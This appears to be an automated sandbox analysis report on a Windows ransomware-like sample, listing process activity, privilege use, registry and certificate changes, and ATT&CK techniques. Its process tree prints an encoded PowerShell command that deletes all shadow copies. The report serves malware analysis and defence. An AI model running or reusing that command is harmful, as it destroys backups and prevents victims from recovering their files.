5c054cfa0258e02f9fdb0a20df520983c132dac56a2b0d67e1192e92eba9e2e9a72b1bd19446c6135a29ab41612695a8ce1d73ea41ae82f03f4ae611d101b2aa48b7ac5fe05a6e1c0d6c8fe9eae8f2bba3d99f8d8730958466ea69cf4d727d395da3783721cd373e0a2479903385dd5497900291cc7ec9b201c0724695778b239fc3a84a0b59c7c8dbf2e936227b739da1718aebd3c0968ff849b3cd5d60b03e3579e14f7d1eb4fc8bd8723b7b6494379855cbaeb920ba1c6e868a84c16b11a990ae8532c92bba10918750c65a87bcb23b71ac22885c31bffd02b62efa47b099198678c1401cd68066a6321750380888a6e81c685f2a9a42de7f4a524104783cacdf48d7958b1069be71a2ad99d01d7947ded034acaf0dbe8a9013ef55699c91e8e493dbbe509b9e04f49923d168240cccc59c6e63aed122e693c6c95b1fdaa1d7b7f86be1e0e3246fbfb138f757f4c8b4b4663fe00344070c1c3b9a1dda670e204b341bce98091ea649c7ae12203a99c6e6f0e654f6c87875ef36ea0f975a59b40e853b2279d4ab9c077218dff87f2debc8cef17dfb7490bd1f26e300b1a0e4e76ed11fcf5e956b27dbfc76d0a938ca5d0c0b61dbe3a4e94a2d76e6c0bc28a7cfa20f3c4e4e5cd0da8cb9192b17c85ecb51469660e82e7cdcec82da6517f21c1355385064a5d9fadbb1b5f74	rundll32.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AFE5D244A8D1194230FF479FE2F897BBCD7A8CB4\Blob = 5c0000000100000004000000001000000400000001000000100000001b31b0714036cc143691adc43efdec18030000000100000014000000afe5d244a8d1194230ff479fe2f897bbcd7a8cb41d0000000100000010000000cb39c3d4272cdf63774e1db810c5a89e140000000100000014000000bbaf7e023dfaa6f13c848eadee3898ecd93232d462000000010000002000000052f0e1c4e58ec629291b60317f074671b85d7ea80d5b07273463534b32b402340b000000010000003a0000005300650063007400690067006f002000280066006f0072006d00650072006c007900200043006f006d006f0064006f002000430041002900000053000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f0000000100000030000000761613f4cd8607508c3d520fbefe68773735fc73746f42a9fd6254ba3b72f0047994e5af57677cf6d2c1965984965df119000000010000001000000082218ffb91733e64136be5719f57c3a12000000001000000dc050000308205d8308203c0a00302010202104caaf9cadb636fe01ff74ed85b03869d300d06092a864886f70d01010c0500308185310b3009060355040613024742311b30190603550408131247726561746572204d616e636865737465723110300e0603550407130753616c666f7264311a3018060355040a1311434f4d4f444f204341204c696d69746564312b302906035504031322434f4d4f444f205253412043657274696669636174696f6e20417574686f72697479301e170d3130303131393030303030305a170d3338303131383233353935395a308185310b3009060355040613024742311b30190603550408131247726561746572204d616e636865737465723110300e0603550407130753616c666f7264311a3018060355040a1311434f4d4f444f204341204c696d69746564312b302906035504031322434f4d4f444f205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010091e85492d20a56b1ac0d24ddc5cf446774992b37a37d23700071bc53dfc4fa2a128f4b7f1056bd9f7072b7617fc94b0f17a73de3b00461eeff1197c7f4863e0afa3e5cf993e6347ad9146be79cb385a0827a76af7190d7ecfd0dfa9c6cfadfb082f4147ef9bec4a62f4f7f997fb5fc674372bd0c00d689eb6b2cd3ed8f981c14ab7ee5e36efcd8a8e49224da436b62b855fdeac1bc6cb68bf30e8d9ae49b6c6999f878483045d5ade10d3c4560fc32965127bc67c3ca2eb66bea46c7c720a0b11f65de4808baa44ea9f283463784ebe8cc814843674e722a9b5cbd4c1b288a5c227bb4ab98d9eee05183c309464e6d3e99fa9517da7c3357413c8d51ed0bb65caf2c631adf57c83fbce95dc49baf4599e2a35a24b4baa9563dcf6faaff4958bef0a8fff4b8ade937fbbab8f40b3af9e843421e89d884cb13f1d9bbe18960b88c2856ac141d9c0ae771ebcf0edd3da996a148bd3cf7afb50d224cc01181ec563bf6d3a2e25bb7b204225295809369e88e4c65f191032d707402ea8b671529695202bbd7df506a5546bfa0a328617f70d0c3a2aa2c21aa47ce289c064576bf821827b4d5aeb4cb50e66bf44c867130e9a6df1686e0d8ff40ddfbd042887fa3333a2e5c1e41118163ce18716b2beca68ab7315c3a6a47e0c37959d6201aaff26a98aa72bc574ad24b9dbb10fcb04c41e5ed1d3d5e289d9cccbfb351daa747e584530203010001a3423040301d0603551d0e04160414bbaf7e023dfaa6f13c848eadee3898ecd93232d4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d01010c050003820201000af1d54684b7ae51bb6cb24d411400934c9ccbe5c054cfa0258e02f9fdb0a20df520983c132dac56a2b0d67e1192e92eba9e2e9a72b1bd19446c6135a29ab41612695a8ce1d73ea41ae82f03f4ae611d101b2aa48b7ac5fe05a6e1c0d6c8fe9eae8f2bba3d99f8d8730958466ea69cf4d727d395da3783721cd373e0a2479903385dd5497900291cc7ec9b201c0724695778b239fc3a84a0b59c7c8dbf2e936227b739da1718aebd3c0968ff849b3cd5d60b03e3579e14f7d1eb4fc8bd8723b7b6494379855cbaeb920ba1c6e868a84c16b11a990ae8532c92bba10918750c65a87bcb23b71ac22885c31bffd02b62efa47b099198678c1401cd68066a6321750380888a6e81c685f2a9a42de7f4a524104783cacdf48d7958b1069be71a2ad99d01d7947ded034acaf0dbe8a9013ef55699c91e8e493dbbe509b9e04f49923d168240cccc59c6e63aed122e693c6c95b1fdaa1d7b7f86be1e0e3246fbfb138f757f4c8b4b4663fe00344070c1c3b9a1dda670e204b341bce98091ea649c7ae12203a99c6e6f0e654f6c87875ef36ea0f975a59b40e853b2279d4ab9c077218dff87f2debc8cef17dfb7490bd1f26e300b1a0e4e76ed11fcf5e956b27dbfc76d0a938ca5d0c0b61dbe3a4e94a2d76e6c0bc28a7cfa20f3c4e4e5cd0da8cb9192b17c85ecb51469660e82e7cdcec82da6517f21c1355385064a5d9fadbb1b5f74	rundll32.exe

Suspicious behavior: EnumeratesProcesses 77 IoCs

Processes:

rundll32.exepowershell.exe

pid	process
3904	rundll32.exe
3904	rundll32.exe
2460	powershell.exe
2460	powershell.exe
2460	powershell.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe
3904	rundll32.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	3904	rundll32.exe
Token: SeDebugPrivilege	2460	powershell.exe
Token: SeBackupPrivilege	2864	vssvc.exe
Token: SeRestorePrivilege	2864	vssvc.exe
Token: SeAuditPrivilege	2864	vssvc.exe
Token: SeTakeOwnershipPrivilege	3904	rundll32.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 3284 wrote to memory of 3904	3284	rundll32.exe	rundll32.exe
PID 3284 wrote to memory of 3904	3284	rundll32.exe	rundll32.exe
PID 3284 wrote to memory of 3904	3284	rundll32.exe	rundll32.exe
PID 3904 wrote to memory of 2460	3904	rundll32.exe	powershell.exe
PID 3904 wrote to memory of 2460	3904	rundll32.exe	powershell.exe

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\pk9rEyAv.exe.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:3284

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\pk9rEyAv.exe.dll,#1
2⤵
- Blacklisted process makes network request
- Modifies extensions of user files
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3904

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2460

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2512

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:2864

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

3

T1112

Install Root Certificate

1

T1130

Credential Access

Discovery

Query Registry

1

T1012

Peripheral Device Discovery

1

T1120

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2460-1-0x0000000000000000-mapping.dmp

Download
memory/2460-2-0x00007FF81E0E0000-0x00007FF81EACC000-memory.dmp

Filesize
9.9MB

Download
memory/2460-3-0x000001FB19740000-0x000001FB19741000-memory.dmp

Filesize
4KB

Download
memory/2460-4-0x000001FB1C320000-0x000001FB1C321000-memory.dmp

Filesize
4KB

Download
memory/3904-0-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads